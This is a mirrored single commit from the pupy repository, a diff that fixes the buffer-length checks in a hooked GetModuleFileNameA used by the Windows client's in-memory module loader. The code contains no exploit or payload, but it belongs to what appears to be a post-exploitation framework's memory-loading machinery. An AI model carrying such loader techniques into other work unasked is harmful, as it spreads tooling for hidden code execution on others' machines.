mirror of https://github.com/n1nj4sec/pupy.git
client/windows: fix GetModuleFileNameA
This commit is contained in:
parent
fa8c1f461f
commit
d285229b5e
|
@ -410,12 +410,12 @@ DWORD CALLBACK MyGetModuleFileNameA(HMODULE hModule, LPSTR lpStr, DWORD dwSize)
|
|||
DWORD dwRet = MemoryModuleFileNameA(lib->module, lpStr, dwSize);
|
||||
if (dwRet == 0xFFFFFFFF) {
|
||||
size_t reqSize = strlen(lib->fileName);
|
||||
if (reqSize < dwSize) {
|
||||
if (reqSize > dwSize) {
|
||||
SetLastError(ERROR_INSUFFICIENT_BUFFER);
|
||||
dwRet = 0;
|
||||
} else {
|
||||
memcpy(lpStr, lib->fileName, reqSize);
|
||||
if (dwSize+1 == reqSize) {
|
||||
if (dwSize >= reqSize + 1) {
|
||||
lpStr[reqSize] = '\0';
|
||||
}
|
||||
dwRet = reqSize;
|
||||
|
|
Loading…
Reference in New Issue